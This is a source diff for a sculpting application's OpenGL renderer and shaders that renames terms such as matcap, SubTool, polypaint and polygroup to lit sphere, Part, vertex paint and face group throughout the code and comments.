vec3 W = F; // the pull's profile and its derivatives
@@ -143,7 +143,7 @@ vec3 ghostMove(vec3 x, vec3 n, int first, int end, inout vec3 g, inout float lap
lap += cn * a * (2.0 * (F.y * F.y + f * F.z) + 2.0 * f * F.y * inv);
} else if (kind == 7) { // Pinch: sideways only
x += onPlane(c - x, an) * (sgn * 0.2 * s * f);
- } else if (kind == 8) { // Dam Standard: f^4, the sides pinched in
+ } else if (kind == 8) { // Sharp Crease: f^4, the sides pinched in
float a = -sgn * s * r * 0.08;
float f3 = f * f * f;
x += an * (a * f3 * f) + onPlane(c - x, an) * (0.3 * s * f);
@@ -372,10 +372,10 @@ uniform int uGroups; // 0: off, 1: per-triangle ids from uGroupIds, 2: every
uniform usamplerBuffer uGroupIds;
uniform int uChecker; // 1: a checker on the UVs (TEXTURED), tinted per UDIM tile
uniform float uCheckerScale; // checker squares per UV unit
-uniform int uMatcap; // 1: shade with the matcap texture instead of the studio lights
-uniform sampler2D uMatcapTex; // sRGB-encoded lit sphere (core/Matcap.h)
-uniform vec2 uMatcapCavity; // crease darkening, ridge lift (sf::matcapCavity)
-uniform int uDim; // 1: an inactive SubTool, shown a little darker and greyer
+uniform int uLitSphere; // 1: shade with the lit sphere texture instead of the studio lights
+uniform sampler2D uLitSphereTex; // sRGB-encoded lit sphere (core/Lit Sphere.h)
+uniform vec2 uLitSphereCavity; // crease darkening, ridge lift (sf::lit sphereCavity)
+uniform int uDim; // 1: an inactive Part, shown a little darker and greyer
uniform mat3 uLightRot; // turns the light (Lit Sphere and studio) in view space (RenderSettings::lightYaw / Pitch)
uniform vec2 uLightLevels; // light intensity, ambient
uniform float uAlpha; // X-Ray: the see-through Parts' opacity (1 = opaque)
@@ -386,7 +386,7 @@ vec4 finish(vec3 c) {
if (uDim == 1) c = mix(c, vec3(dot(c, vec3(0.2126, 0.7152, 0.0722))), 0.25) * 0.72;
return vec4(pow(c, vec3(1.0 / 2.2)), uAlpha);
}
-// Keep in sync with sf::polygroupColor.
+// Keep in sync with sf::face groupColor.
vec3 groupColor(uint id) {
uint h = id * 0x9E3779B1u;
h ^= h >> 15;
@@ -484,7 +484,7 @@ void main() {
#ifdef MICRO
microFetch();
#endif
- vec3 tint = vec3(1.0) + uTintShift; // multiplies a matcap: polypaint or polygroup colours, or the active colour
+ vec3 tint = vec3(1.0) + uTintShift; // multiplies a lit sphere: vertex paint or face group colours, or the active colour
vec3 albedo = uBaseColor * tint;
#ifdef PRIM
if (uGroups == 3) albedo = tint = faceColor(texelFetch(uGroupIds, vPrimBase + gl_PrimitiveID).r);
@@ -545,18 +545,18 @@ void main() {
return;
}
#endif
- if (uMatcap == 1) {
+ if (uLitSphere == 1) {
// View-aligned basis so the material stays put towards the edges of a perspective view.
vec3 bx = normalize(vec3(v.z, 0.0, -v.x));
vec3 by = cross(v, bx);
vec3 ln = transpose(uLightRot) * n; // the normal turned against the light: the material's light turns
vec2 uv = vec2(dot(bx, ln), dot(by, ln)) * 0.495 + 0.5;
- vec3 mc = pow(texture(uMatcapTex, uv).rgb, vec3(2.2)) * uLightLevels.x + uLightLevels.y * 0.6;
+ vec3 mc = pow(texture(uLitSphereTex, uv).rgb, vec3(2.2)) * uLightLevels.x + uLightLevels.y * 0.6;
// Starts above the curvature of a smooth sphere's own facets, so only real creases darken and a broad
// stroke doesn't pool into a smear.
float mcrease = smoothstep(0.03, 0.18, curvature);
float mridge = smoothstep(0.03, 0.2, -curvature);
- vec3 c = mc * tint * (1.0 - uMatcapCavity.x * mcrease) * (1.0 + uMatcapCavity.y * mridge);
+ vec3 c = mc * tint * (1.0 - uLitSphereCavity.x * mcrease) * (1.0 + uLitSphereCavity.y * mridge);
if (uShowMask == 1) c *= 1.0 - 0.75 * clamp(V_MASK, 0.0, 1.0);
fragColor = finish(c);
return;
@@ -748,7 +748,7 @@ void main() {
)";
constexpr GLenum kTexture7 = 0x84C7; // GL_TEXTURE7 (the cluster table)
-constexpr GLenum kTexture2 = 0x84C2; // GL_TEXTURE2 (matcap)
+constexpr GLenum kTexture2 = 0x84C2; // GL_TEXTURE2 (lit sphere)
constexpr GLenum kTexture5 = 0x84C5; // kTexture5 (baked normal map)
constexpr GLenum kTexture6 = 0x84C6; // kTexture6 (its tangents)
constexpr GLenum kRgb = 0x1907, kRgb8 = 0x8051; // GL_RGB, GL_RGB8
@@ -811,7 +811,7 @@ GLuint link(const char* vs, const char* fs, std::string& error, const char* fsPr
} // namespace
-glm::vec3 polygroupColor(uint32_t id) {
+glm::vec3 facegroupColor(uint32_t id) {
uint32_t h = id * 0x9E3779B1u;
h ^= h >> 15;
h *= 0x85EBCA77u;
@@ -850,15 +850,15 @@ bool Renderer::init(std::string& error) {
gl::GenVertexArrays(1, &emptyVao_);
- // Built-in matcaps, generated once (256 KB each); custom ones upload in syncMatcaps.
- matcapTextures_.assign(size_t(builtinMatcapCount()), 0);
- matcapHashes_.assign(size_t(builtinMatcapCount()), 0);
- gl::GenTextures(GLsizei(matcapTextures_.size()), matcapTextures_.data());
- for (int i = 0; i < builtinMatcapCount(); ++i) {
+ // Built-in lit spheres, generated once (256 KB each); custom ones upload in syncLit Spheres.
+ litsphereTextures_.assign(size_t(builtinLitSphereCount()), 0);
+ litsphereHashes_.assign(size_t(builtinLitSphereCount()), 0);
+ gl::GenTextures(GLsizei(litsphereTextures_.size()), litsphereTextures_.data());
+ for (int i = 0; i < builtinLitSphereCount(); ++i) {
constexpr int kSize = 256;
- uploadMatcap(matcapTextures_[size_t(i)], kSize, generateMatcap(i, kSize));
+ uploadLitSphere(litsphereTextures_[size_t(i)], kSize, generateLitSphere(i, kSize));
}
- syncMatcaps();
+ syncLitSpheres();
// SF_NO_VERTEXID_BASE=1 takes the other path, to check it on drivers that don't need it.
vertexIdHasBase_ = checkVertexIdBase() && !std::getenv("SF_NO_VERTEXID_BASE");
return true;
@@ -895,8 +895,8 @@ const Renderer::MeshProgram* Renderer::meshProgram(int features) {
p.paint = at("uPaint");
p.showMask = at("uShowMask");
p.groups = at("uGroups");
- p.matcap = at("uMatcap");
- p.matcapCavity = at("uMatcapCavity");
+ p.litsphere = at("uLitSphere");
+ p.litsphereCavity = at("uLitSphereCavity");
p.dim = at("uDim");
p.lightRot = at("uLightRot");
p.lightLevels = at("uLightLevels");
@@ -925,10 +925,10 @@ const Renderer::MeshProgram* Renderer::meshProgram(int features) {
p.pbrCavity = at("uPbrCavity");
p.viewToEnv = at("uViewToEnv");
p.sh = at("uSH");
- // Texture units: groups 1, matcap 2, UVs 3, painted texture 4, normal map 5, tangents 6, cluster table 7.
+ // Texture units: groups 1, lit sphere 2, UVs 3, painted texture 4, normal map 5, tangents 6, cluster table 7.
gl::UseProgram(p.id);
gl::Uniform1i(at("uGroupIds"), 1);
- gl::Uniform1i(at("uMatcapTex"), 2);
+ gl::Uniform1i(at("uLitSphereTex"), 2);
gl::Uniform1i(at("uUvs"), 3);
gl::Uniform1i(at("uPaintTex"), 4);
gl::Uniform1i(at("uNormalTex"), 5);
@@ -944,7 +944,7 @@ const Renderer::MeshProgram* Renderer::meshProgram(int features) {
// Draws one point with index 2 and base vertex 1000 into a 1x1 integer target and reads back the gl_VertexID
// the shader saw: 1002 as the spec says, or 2 on drivers that leave the base out (then the per-triangle data of
-// polygroups and textures is drawn cluster by cluster with the base as a uniform).
+// face groups and textures is drawn cluster by cluster with the base as a uniform).
bool Renderer::checkVertexIdBase() {
std::string error;
const GLuint prog = link(kVertexIdVS, kVertexIdFS, error);
@@ -984,7 +984,7 @@ bool Renderer::checkVertexIdBase() {
return id == 1002;
}
-void Renderer::uploadMatcap(GLuint texture, int size, const std::vector<uint8_t>& pixels) {
+void Renderer::uploadLitSphere(GLuint texture, int size, const std::vector<uint8_t>& pixels) {
gl::PixelStorei(GL_UNPACK_ALIGNMENT, 1);
gl::BindTexture(GL_TEXTURE_2D, texture);
gl::TexImage2D(GL_TEXTURE_2D, 0, GLint(GL_RGBA8), size, size, 0, GL_RGBA, GL_UNSIGNED_BYTE, pixels.data());
@@ -995,26 +995,26 @@ void Renderer::uploadMatcap(GLuint texture, int size, const std::vector<uint8_t>
gl::BindTexture(GL_TEXTURE_2D, 0);
}
-// Custom MatCaps (core/Matcap.h) added or changed since the last call: a texture each, at their own size.
-void Renderer::syncMatcaps() {
- if (matcapTextures_.empty() || matcapRevision_ == matcapRevision()) return;
- matcapRevision_ = matcapRevision();
- for (int i = builtinMatcapCount(); i < matcapCount(); ++i) {
- const CustomMatcap* c = customMatcap(i);
- if (size_t(i) >= matcapTextures_.size()) {
+// Custom Lit Spheres (core/Lit Sphere.h) added or changed since the last call: a texture each, at their own size.
+void Renderer::syncLitSpheres() {
+ if (litsphereTextures_.empty() || litsphereRevision_ == litsphereRevision()) return;
+ litsphereRevision_ = litsphereRevision();
+ for (int i = builtinLitSphereCount(); i < litsphereCount(); ++i) {
+ const CustomLitSphere* c = customLitSphere(i);
+ if (size_t(i) >= litsphereTextures_.size()) {
GLuint t = 0;
gl::GenTextures(1, &t);
- matcapTextures_.push_back(t);
- matcapHashes_.push_back(0);
+ litsphereTextures_.push_back(t);
+ litsphereHashes_.push_back(0);
}
- if (matcapHashes_[size_t(i)] == c->hash) continue;
- uploadMatcap(matcapTextures_[size_t(i)], c->size, c->rgba);
- matcapHashes_[size_t(i)] = c->hash;
+ if (litsphereHashes_[size_t(i)] == c->hash) continue;
+ uploadLitSphere(litsphereTextures_[size_t(i)], c->size, c->rgba);
+ litsphereHashes_[size_t(i)] = c->hash;
}
}
-GLuint Renderer::matcapTexture(int index) const {
- return index >= 0 && index < int(matcapTextures_.size()) ? matcapTextures_[size_t(index)] : 0;
+GLuint Renderer::litsphereTexture(int index) const {
+ return index >= 0 && index < int(litsphereTextures_.size()) ? litsphereTextures_[size_t(index)] : 0;
}
Renderer::MeshSlot& Renderer::slot(uint32_t id) {
@@ -1109,10 +1109,10 @@ void Renderer::shutdown() {
}
slots_.clear();
drawList_.clear();
- if (!matcapTextures_.empty()) gl::DeleteTextures(GLsizei(matcapTextures_.size()), matcapTextures_.data());
- matcapTextures_.clear();
- matcapHashes_.clear();
- matcapRevision_ = 0;
+ if (!litsphereTextures_.empty()) gl::DeleteTextures(GLsizei(litsphereTextures_.size()), litsphereTextures_.data());
+ litsphereTextures_.clear();
+ litsphereHashes_.clear();
+ litsphereRevision_ = 0;
for (GLuint* t : {&envTexture_, &brdfTexture_})
if (*t) gl::DeleteTextures(1, t);
envIndex_ = envFailedIndex_ = -1;
@@ -1350,9 +1350,9 @@ bool Renderer::outOfMemory(uint32_t id) const {
}
void Renderer::syncScene(const std::vector<SceneMesh>& scene) {
- syncMatcaps();
+ syncLitSpheres();
if (envJob_ && envJob_->done) ensureEnvironment(envJob_->index); // (a new environment is ready: upload it)
- // Free the slots of SubTools that are gone (deleted, merged, a new scene).
+ // Free the slots of Parts that are gone (deleted, merged, a new scene).
for (auto it = slots_.begin(); it != slots_.end();) {
const bool live = std::any_of(scene.begin(), scene.end(), [&](const SceneMesh& m) { return m.id == it->id; });
if (live) {
@@ -1522,14 +1522,14 @@ void Renderer::uploadIndices(MeshSlot& s, const Mesh& mesh) {
gl::BindVertexArray(0);
}
-// The index buffer (unless `indicesDone`), the first drawn triangle of each cluster, and the polygroup id and
+// The index buffer (unless `indicesDone`), the first drawn triangle of each cluster, and the face group id and
// UVs of every drawn triangle in draw order (looked up by that plus gl_PrimitiveID). The wireframe's edges and
// motion proxies are rebuilt on next need.
void Renderer::uploadFaces(MeshSlot& s, const Mesh& mesh, bool wantUvs, bool indicesDone) {
const size_t nt = mesh.triangleCount();
const bool hidden = mesh.hidden.size() == nt && nt > 0;
const bool overlay = s.overlay && s.overlay->colors.size() == nt && nt > 0;
- const bool groups = (mesh.polygroups.size() == nt || overlay) && nt > 0;
+ const bool groups = (mesh.facegroups.size() == nt || overlay) && nt > 0;
const auto clusters = s.order.clusters();
const size_t nc = clusters.size();
s.primBase.assign(nc, 0);
@@ -1577,7 +1577,7 @@ void Renderer::uploadFaces(MeshSlot& s, const Mesh& mesh, bool wantUvs, bool ind
visibleGroups_.resize(groups ? drawn : 0);
if (groups)
poolFor(drawn, [&](size_t b, size_t e) {
- for (size_t i = b; i < e; ++i) visibleGroups_[i] = overlay ? s.overlay->colors[drawnTris[i]] : mesh.polygroups[drawnTris[i]];
+ for (size_t i = b; i < e; ++i) visibleGroups_[i] = overlay ? s.overlay->colors[drawnTris[i]] : mesh.facegroups[drawnTris[i]];
}, 1 << 16);
s.hasGroups = groups && !visibleGroups_.empty() && visibleGroups_.size() <= size_t(std::max(maxTexels, 0));
s.overlayColors = overlay && s.hasGroups;
@@ -1821,7 +1821,7 @@ bool Renderer::preparePatches(MeshSlot& s, const Mesh& mesh, bool wireframe) {
if (wireframe && !s.patchLinesOn)
for (MeshSlot::Patch& p : s.patches) p.stale = true; // (their edges weren't built)
const bool hidden = mesh.hidden.size() == nt && nt > 0;
- const bool groups = mesh.polygroups.size() == nt && nt > 0;
+ const bool groups = mesh.facegroups.size() == nt && nt > 0;
for (MeshSlot::Patch& p : s.patches) {
if (!p.stale) continue;
if (++patchStampValue_ == 0) {
@@ -1843,7 +1843,7 @@ bool Renderer::preparePatches(MeshSlot& s, const Mesh& mesh, bool wireframe) {
}
p.local.push_back(uint16_t(std::min<uint32_t>(patchLocal_[v], 0xFFFF)));
}
- if (groups) p.groups.push_back(mesh.polygroups[t]);
+ if (groups) p.groups.push_back(mesh.facegroups[t]);
};
if (p.key < kTailPatch) {
for (uint32_t i = 0; i < s.order.clusterTriangles(p.key); ++i) add(s.order.triangle(p.key, i));
@@ -2043,15 +2043,15 @@ void Renderer::uploadPatches(MeshSlot& s, const Mesh& mesh, bool wireframe) {
s.drawnTriangles = drawn;
}
-void Renderer::drawPatches(const MeshSlot& s, GLenum mode, Part part, GLint primBaseLocation) {
+void Renderer::drawPatches(const MeshSlot& s, GLenum mode, DrawPart part, GLint primBaseLocation) {
for (const MeshSlot::Patch& p : s.patches) {
- const uint32_t count = part == Part::Lines ? p.lines : p.indices;
+ const uint32_t count = part == DrawPart::Lines ? p.lines : p.indices;
if (count == 0 || !insideFrustum(frameCull_, p.bounds)) continue;
if (primBaseLocation >= 0) gl::Uniform1i(primBaseLocation, GLint(p.part * kPatchTriangles));
- const size_t first = part == Part::Lines ? size_t(p.part) * kPatchLineIndices : size_t(p.part) * kPatchTriangles * 3;
+ const size_t first = part == DrawPart::Lines ? size_t(p.part) * kPatchLineIndices : size_t(p.part) * kPatchTriangles * 3;
gl::DrawElementsBaseVertex(mode, GLsizei(count), GL_UNSIGNED_SHORT, reinterpret_cast<const void*>(first * sizeof(uint16_t)),
GLint(p.part * kPatchVertices));
- if (part != Part::Lines) lastDrawn_ += count / 3;
+ if (part != DrawPart::Lines) lastDrawn_ += count / 3;
}
if (primBaseLocation >= 0) gl::Uniform1i(primBaseLocation, -1);
}
@@ -2719,7 +2719,7 @@ void Renderer::endCapture(std::vector<uint8_t>& rgba) {
void Renderer::draw(const Camera& camera, int targetWidth, int targetHeight, const RenderSettings& settings,
const Viewport& viewport) {
- syncMatcaps();
+ syncLitSpheres();
forceBackfaces_ = settings.backfaceCulling && !thumbnailPass_; // (#68; thumbnails show the whole Part)
// Known state before the clears: a scissor box, colour mask or depth mask left over from another pass (UI,
// overlays, calibration) makes glClear partial. Some drivers (NVIDIA on Windows, #29) then show old frames
@@ -2813,7 +2813,7 @@ void Renderer::draw(const Camera& camera, int targetWidth, int targetHeight, con
};
gl::ActiveTexture(kTexture2);
- gl::BindTexture(GL_TEXTURE_2D, matcapTexture(settings.matcap));
+ gl::BindTexture(GL_TEXTURE_2D, litsphereTexture(settings.litsphere));
gl::ActiveTexture(GL_TEXTURE0);
gl::Enable(GL_POLYGON_OFFSET_FILL);
gl::PolygonOffset(1.0f, 1.0f);
@@ -2875,7 +2875,7 @@ void Renderer::draw(const Camera& camera, int targetWidth, int targetHeight, con
}
gl::ActiveTexture(GL_TEXTURE0);
- if (settings.wireframe) { // the active SubTool only
+ if (settings.wireframe) { // the active Part only
gl::UseProgram(wireProgram_);
gl::UniformMatrix4fv(gl::GetUniformLocation(wireProgram_, "uView"), 1, GL_FALSE, glm::value_ptr(view));
gl::UniformMatrix4fv(gl::GetUniformLocation(wireProgram_, "uProj"), 1, GL_FALSE, glm::value_ptr(proj));
@@ -2893,18 +2893,18 @@ void Renderer::draw(const Camera& camera, int targetWidth, int targetHeight, con
gl::Uniform1f(gl::GetUniformLocation(wireProgram_, "uAlpha"), lines ? 0.5775f : 0.35f);
if (!lines) gl::PolygonMode(GL_FRONT_AND_BACK, GL_LINE);
gl::BindVertexArray(lines ? s->patchLineVao : s->patchVao);
- drawPatches(*s, lines ? GL_LINES : GL_TRIANGLES, lines ? Part::Lines : Part::Triangles, -1);
+ drawPatches(*s, lines ? GL_LINES : GL_TRIANGLES, lines ? DrawPart::Lines : DrawPart::Triangles, -1);
if (!lines) gl::PolygonMode(GL_FRONT_AND_BACK, GL_FILL);
}
if (s->linesValid) {
gl::Uniform1f(gl::GetUniformLocation(wireProgram_, "uAlpha"), 0.5775f); // 1 - (1 - 0.35)^2
gl::BindVertexArray(s->lineVao);
- drawClusters(*s, drawClusters_, GL_LINES, Part::Lines, -1);
+ drawClusters(*s, drawClusters_, GL_LINES, DrawPart::Lines, -1);
} else { // edges not built (a mesh not synced for the wireframe): outline the triangles
gl::Uniform1f(gl::GetUniformLocation(wireProgram_, "uAlpha"), 0.35f);
gl::PolygonMode(GL_FRONT_AND_BACK, GL_LINE);
gl::BindVertexArray(s->vao);
- drawClusters(*s, drawClusters_, GL_TRIANGLES, Part::Triangles, -1);
+ drawClusters(*s, drawClusters_, GL_TRIANGLES, DrawPart::Triangles, -1);
gl::PolygonMode(GL_FRONT_AND_BACK, GL_FILL);
}
}
@@ -2978,7 +2978,7 @@ void Renderer::cull(const MeshSlot& s, const CullView& frame, bool proxy) {
// Draws `clusters` of `s` (the VAO for `part` bound): their triangles, the wireframe's edges, or their motion
// proxies. One multi-draw, or with per-triangle data on a driver whose gl_VertexID lacks the base vertex, one
// draw per cluster with its first drawn triangle in `primBaseLocation`.
-void Renderer::drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clusters, GLenum mode, Part part, GLint primBaseLocation) {
+void Renderer::drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clusters, GLenum mode, DrawPart part, GLint primBaseLocation) {
drawCounts_.clear();
drawOffsets_.clear();
drawBases_.clear();
@@ -2988,15 +2988,15 @@ void Renderer::drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clus
GLsizei count = 0;
size_t first = 0;
switch (part) {
- case Part::Triangles:
+ case DrawPart::Triangles:
count = s.drawCount[c];
first = size_t(s.order.firstTriangle(c)) * 3;
break;
- case Part::Lines:
+ case DrawPart::Lines:
count = GLsizei(s.lineCount[c]);
first = s.lineFirst[c];
break;
- case Part::Proxy:
+ case DrawPart::Proxy:
count = GLsizei(s.proxyCount[c]);
first = size_t(s.order.firstTriangle(c) / 4) * 3;
break;
@@ -3007,7 +3007,7 @@ void Renderer::drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clus
indices += size_t(count);
}
if (drawCounts_.empty()) return;
- if (part != Part::Lines) lastDrawn_ += indices / 3;
+ if (part != DrawPart::Lines) lastDrawn_ += indices / 3;
if (primBaseLocation >= 0 && !vertexIdHasBase_) {
for (size_t i = 0; i < clusters.size(); ++i) {
if (drawCounts_[i] == 0) continue;
@@ -3021,7 +3021,7 @@ void Renderer::drawClusters(const MeshSlot& s, const std::vector<uint32_t>& clus
drawBases_.data());
}
-// One mesh. Mask and polygroup colours are for the SubTool being edited; polypaint shows on all of them.
+// One mesh. Mask and face group colours are for the Part being edited; vertex paint shows on all of them.
// The material tint a mesh gets (RenderSettings::colorTintsMaterial), less 1: Lit Sphere shading, no vertex paint.
static glm::vec3 materialTintShift(const RenderSettings& settings, bool hasColors) {
if (!settings.colorTintsMaterial || settings.pbr() || hasColors) return glm::vec3(0.0f);
@@ -3040,12 +3040,12 @@ void Renderer::drawMicro(const MeshSlot& s, bool active, bool flat, const Render
gl::Uniform2f(p->projScale, orthographic ? 1e20f : frameProj_[0][0], orthographic ? 1e20f : frameProj_[1][1]);
gl::Uniform3fv(p->baseColor, 1, glm::value_ptr(settings.baseColor));
gl::Uniform3fv(p->tintShift, 1, glm::value_ptr(materialTintShift(settings, s.hasColors)));
- gl::Uniform1i(p->matcap, matcapTexture(settings.matcap) ? 1 : 0);
- const MatcapCavity cavity = matcapCavity(settings.matcap);
- gl::Uniform2f(p->matcapCavity, cavity.crease, cavity.ridge);
+ gl::Uniform1i(p->litsphere, litsphereTexture(settings.litsphere) ? 1 : 0);
+ const LitSphereCavity cavity = litsphereCavity(settings.litsphere);
+ gl::Uniform2f(p->litsphereCavity, cavity.crease, cavity.ridge);
gl::Uniform1i(p->paint, 0);
gl::Uniform1i(p->showMask, active && settings.showMask ? 1 : 0);
- gl::Uniform1i(p->groups, active && settings.showPolygroups ? 2 : 0);
+ gl::Uniform1i(p->groups, active && settings.showFaceGroups ? 2 : 0);
gl::Uniform1i(p->dim, !active && settings.dimInactive ? 1 : 0);
setLightUniforms(*p, settings);
gl::Uniform1i(p->twoSided, 1);
@@ -3054,7 +3054,7 @@ void Renderer::drawMicro(const MeshSlot& s, bool active, bool flat, const Render
const size_t full = settings.renderTriangleBudget ? settings.renderTriangleBudget : size_t(currentTierConfig().activeTriangleBudget);
const size_t budget = moving ? full / 2 : full;
const float target = settings.microTargetPx * (moving ? 2.0f : 1.0f);
- // (the budget is shared by the micro SubTools on screen: each gets it whole; one is the usual case)
+ // (the budget is shared by the micro Parts on screen: each gets it whole; one is the usual case)
const_cast<MeshSlot&>(s).microDrawn = s.micro->draw(p->id, frameCull_, frameProj_, frameViewport_, budget, target);
lastDrawn_ += s.microDrawn;
}
@@ -3083,15 +3083,15 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
}
// The UV Editor's checker on the model.
const bool checker = active && s.hasUvs && s.overlay && s.overlay->checker;
- // A painted texture shows through the textured program (polypaint still multiplies it).
- const bool textured = s.hasUvs && ((s.paintTexture && settings.showPolypaint && settings.showTexture) || checker);
+ // A painted texture shows through the textured program (vertex paint still multiplies it).
+ const bool textured = s.hasUvs && ((s.paintTexture && settings.showVertexPaint && settings.showTexture) || checker);
const bool pbr = settings.pbr() && envTexture_;
// A baked normal map preview bends the shading normal (core/Bake.h), and in the PBR view the texture's
// Normal / Height channels do (syncTexture's material normal, with tangents from syncNormalMap).
const GLuint normalTex = s.normalTexture ? s.normalTexture : (pbr && textured ? s.matNormalTexture : 0);
const bool normalMapped = s.hasUvs && normalTex && s.hasTangents;
const int groups = active && s.overlayColors ? 3
- : active && settings.showPolygroups && !s.overlayColors ? (s.hasGroups ? 1 : 2)
+ : active && settings.showFaceGroups && !s.overlayColors ? (s.hasGroups ? 1 : 2)
: 0;
// (Not through the textured program's geometry shader: those meshes are sculpted without the preview.)
const bool ghost = active && s.id == ghostId_ && !ghost_.empty() && !settings.motionProxy && !textured && !normalMapped;
@@ -3108,14 +3108,14 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
gl::Uniform4fv(p->viewport, 1, glm::value_ptr(frameViewport_));
// The shader turns a pixel into its view ray as (-ndc / scale, 1): right for perspective. An orthographic
// view (Numpad 5) looks straight along the axis at every pixel, which an unbounded scale gives (its own
- // scale tilted the ray at the edges until the matcap and the lights came from the other side, #24).
+ // scale tilted the ray at the edges until the lit sphere and the lights came from the other side, #24).
const bool orthographic = frameProj_[3][3] == 1.0f;
gl::Uniform2f(p->projScale, orthographic ? 1e20f : frameProj_[0][0], orthographic ? 1e20f : frameProj_[1][1]);
gl::Uniform3fv(p->baseColor, 1, glm::value_ptr(settings.baseColor));
gl::Uniform3fv(p->tintShift, 1, glm::value_ptr(materialTintShift(settings, s.hasColors)));
- gl::Uniform1i(p->matcap, matcapTexture(settings.matcap) ? 1 : 0);
- const MatcapCavity cavity = matcapCavity(settings.matcap);
- gl::Uniform2f(p->matcapCavity, cavity.crease, cavity.ridge);
+ gl::Uniform1i(p->litsphere, litsphereTexture(settings.litsphere) ? 1 : 0);
+ const LitSphereCavity cavity = litsphereCavity(settings.litsphere);
+ gl::Uniform2f(p->litsphereCavity, cavity.crease, cavity.ridge);
if (textured || normalMapped) {
gl::ActiveTexture(GL_TEXTURE3);
gl::BindTexture(GL_TEXTURE_BUFFER, s.uvTexture);
@@ -3136,7 +3136,7 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
gl::ActiveTexture(GL_TEXTURE1);
gl::BindTexture(GL_TEXTURE_BUFFER, s.hasGroups ? s.groupTexture : 0);
gl::ActiveTexture(GL_TEXTURE0);
- gl::Uniform1i(p->paint, settings.showPolypaint && s.hasColors ? 1 : 0);
+ gl::Uniform1i(p->paint, settings.showVertexPaint && s.hasColors ? 1 : 0);
gl::Uniform1i(p->showMask, active && settings.showMask && s.hasMask ? 1 : 0);
gl::Uniform1i(p->groups, groups);
gl::Uniform1i(p->dim, !active && settings.dimInactive ? 1 : 0);
@@ -3179,13 +3179,13 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
}
drawClusters_.resize(kept);
}
- drawClusters(s, drawClusters_, GL_TRIANGLES, Part::Triangles, perTriangle ? p->primBase : -1);
+ drawClusters(s, drawClusters_, GL_TRIANGLES, DrawPart::Triangles, perTriangle ? p->primBase : -1);
for (int k = 1; k < 4; ++k) {
if (extraClusters_[k].empty()) continue;
if (const MeshProgram* pg = meshProgram(features | ((k & 1) ? kGhost : 0) | ((k & 2) ? kFlat : 0))) {
bind(pg);
if (k & 1) setGhostUniforms(*pg);
- drawClusters(s, extraClusters_[k], GL_TRIANGLES, Part::Triangles, -1);
+ drawClusters(s, extraClusters_[k], GL_TRIANGLES, DrawPart::Triangles, -1);
bind(p);
}
}
@@ -3198,7 +3198,7 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
gl::BindTexture(GL_TEXTURE_BUFFER, s.hasGroups ? s.patchGroupTexture : 0);
gl::ActiveTexture(GL_TEXTURE0);
}
- drawPatches(s, GL_TRIANGLES, Part::Triangles, perTriangle ? p->primBase : -1);
+ drawPatches(s, GL_TRIANGLES, DrawPart::Triangles, perTriangle ? p->primBase : -1);
gl::BindVertexArray(s.vao);
}
if (!proxyClusters_.empty()) {
@@ -3206,7 +3206,7 @@ void Renderer::drawSlot(const MeshSlot& s, bool active, bool flat, const RenderS
if (!s.hasColors) gl::VertexAttrib4f(2, 1.0f, 1.0f, 1.0f, 1.0f);
if (!s.hasMask) gl::VertexAttrib1f(3, 0.0f);
gl::Uniform1i(p->twoSided, 0);
- drawClusters(s, proxyClusters_, GL_TRIANGLES, Part::Proxy, -1);
+ drawClusters(s, proxyClusters_, GL_TRIANGLES, DrawPart::Proxy, -1);
}
gl::Disable(GL_CULL_FACE);
if (xrayCull_) gl::CullFace(GL_BACK);
@@ -3589,7 +3589,7 @@ void Renderer::refineStrokeBounds(uint32_t id, const Mesh& mesh) {
}
// ---------------------------------------------------------------------------
-// Thumbnails (LightBox / pickers)
+// Thumbnails (Library / pickers)
// ---------------------------------------------------------------------------
bool Renderer::renderMeshThumbnail(Mesh& mesh, const Camera& camera, int size, const RenderSettings& settings,
@@ -3599,7 +3599,7 @@ bool Renderer::renderMeshThumbnail(Mesh& mesh, const Camera& camera, int size, c
gl::GetIntegerv(kFramebufferBinding, &fbo);
gl::GetIntegerv(kViewport, viewport);
- // A scratch slot outside the SubTool id range; the scene's draw list is put back afterwards.
+ // A scratch slot outside the Part id range; the scene's draw list is put back afterwards.
constexpr uint32_t kThumbnailSlot = 0xFFFFFFF0u;
mesh.topologyDirty = true;
sync(slot(kThumbnailSlot), mesh);
@@ -3622,7 +3622,7 @@ bool Renderer::renderMeshThumbnail(Mesh& mesh, const Camera& camera, int size, c
return ok;
}
-bool Renderer::renderSubtoolThumbnail(uint32_t id, float yaw, float pitch, int size, const RenderSettings& settings,
+bool Renderer::renderPartThumbnail(uint32_t id, float yaw, float pitch, int size, const RenderSettings& settings,
std::vector<uint8_t>& rgba, std::string& error) {
const MeshSlot* s = nullptr;
for (const MeshSlot& slot : slots_)
@@ -3640,7 +3640,7 @@ bool Renderer::renderSubtoolThumbnail(uint32_t id, float yaw, float pitch, int s
camera.frame(s->box);
camera.distance *= 0.6f; // (frame leaves room around the model for the view; a thumbnail fills its tile)
RenderSettings thumb = settings;
- thumb.showMask = thumb.showPolygroups = thumb.wireframe = false;
+ thumb.showMask = thumb.showFaceGroups = thumb.wireframe = false;
thumb.dimInactive = false;
constexpr size_t kProxyTriangles = size_t(1) << 20; // a big mesh: its lighter proxy, where current, is plenty at this size
thumb.motionProxy = s->drawnTriangles >= kProxyTriangles;
diff --git a/src/render/Renderer.h b/src/render/Renderer.h
index 8ef00aa0..6b6aa3ac 100644
--- a/src/render/Renderer.h
+++ b/src/render/Renderer.h
@@ -3,7 +3,7 @@
#pragma once
#include "core/EnvironmentMath.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Mesh.h"
#include "core/Splats.h"
#include "core/UploadOrder.h"
@@ -26,21 +26,21 @@ class MicroRenderer;
struct RenderSettings {
bool wireframe = false;
glm::vec3 baseColor{0.62f, 0.58f, 0.53f}; // Studio's colour: a warm clay grey, like the default Soft Clay
- bool showPolypaint = true; // vertex colours replace baseColor when the mesh has them
- // The active colour tints the Lit Sphere material on meshes with no vertex paint (Color palette, as ZBrush's
+ bool showVertexPaint = true; // vertex colours replace baseColor when the mesh has them
